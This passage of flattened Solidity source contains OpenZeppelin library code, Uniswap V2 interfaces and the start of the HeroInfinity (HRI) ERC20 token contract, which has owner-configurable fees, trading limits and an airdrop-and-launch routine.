// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/access/[email protected]
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File contracts/interfaces/IUniswapV2Pair.sol
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File contracts/interfaces/IUniswapV2Factory.sol
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File contracts/interfaces/IUniswapV2Router02.sol
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// File contracts/HRI.sol
contract HeroInfinityToken is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private swapping;
uint256 public launchTime;
address public marketingWallet;
address public devWallet;
address public liquidityWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool private gasLimitActive = true;
uint256 private gasPriceLimit = 561 * 1 gwei; // do not allow over x gwei for launch
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
mapping(address => uint256) presaleAmount; // Presale vesting
uint256 airdropThreshold;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event MarketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event DevWalletUpdated(address indexed newWallet, address indexed oldWallet);
event LiquidityWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event OwnerForcedSwapBack(uint256 timestamp);
constructor() ERC20("HeroInfinity Token", "HRI") {}
function airdropAndLaunch(
address newOwner,
address router,
uint256 liquidityAmount,
uint256 airdropAmount,
uint256 dailyThreshold,
address[] memory airdropUsers,
uint256[] memory airdropAmounts
) external payable onlyOwner {
require(!tradingActive, "Trading is already enabled");
require(airdropUsers.length == airdropAmounts.length, "Invalid arguments");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 6;
uint256 _buyLiquidityFee = 4;
uint256 _buyDevFee = 2;
uint256 _sellMarketingFee = 8;
uint256 _sellLiquidityFee = 14;
uint256 _sellDevFee = 3;
uint256 _totalSupply = 1 * 1e9 * 1e18;
require(dailyThreshold * 1e18 > (_totalSupply * 5) / 10000); // at least 0.05% release to presalers per day
airdropThreshold = dailyThreshold;
maxTransactionAmount = (_totalSupply * 30) / 10000; // 0.3% maxTransactionAmountTxn
maxWallet = (_totalSupply * 100) / 10000; // 1% maxWallet
swapTokensAtAmount = (_totalSupply * 5) / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = newOwner;
devWallet = newOwner;
liquidityWallet = newOwner;
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(newOwner, true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(newOwner, true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint(address(this), liquidityAmount * 1e18);
_mint(newOwner, _totalSupply - liquidityAmount * 1e18);
// Add liquidity
addLiquidity(liquidityAmount * 1e18, msg.value);
uint256 totalAirdrops;
//For airdrop, exclude temporary
excludeFromFees(address(uniswapV2Pair), true);
limitsInEffect = false;
for (uint256 i; i < airdropUsers.length; ++i) {
uint256 amount = airdropAmounts[i] * 1e18;
address to = airdropUsers[i];
require(presaleAmount[to] == 0, "airdrop duplicated");
totalAirdrops += amount;
_transfer(uniswapV2Pair, to, amount);
presaleAmount[to] = amount;
}
excludeFromFees(address(uniswapV2Pair), false);
limitsInEffect = true;
require(totalAirdrops == airdropAmount * 1e18, "Wrong airdrop amount");
IUniswapV2Pair pairInstance = IUniswapV2Pair(uniswapV2Pair);
pairInstance.sync();
enableTrading();
}
function name() public view virtual override returns (string memory) {
require(tradingActive);
return super.name();
}
function symbol() public view virtual override returns (string memory) {
require(tradingActive);
return super.symbol();
}
function decimals() public view virtual override returns (uint8) {
return super.decimals();
}
function totalSupply() public view virtual override returns (uint256) {
return super.totalSupply();
}
receive() external payable {}
// once enabled, can never be turned off
function enableTrading() private {
require(!tradingActive, "Trading is already enabled");
tradingActive = true;
swapEnabled = true;
launchTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
gasLimitActive = false;
transferDelayEnabled = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(
newAmount <= (totalSupply() * 5) / 1000,
"Swap amount cannot be higher than 0.5% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxTransactionAmount lower than 0.5%"
);
maxTransactionAmount = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 25, "Cannot set buy fee more than 25%");
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Cannot set sell fee more than 25%");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet)
external
onlyOwner
{
emit MarketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newDevWallet) external onlyOwner {
emit DevWalletUpdated(newDevWallet, devWallet);
devWallet = newDevWallet;
}
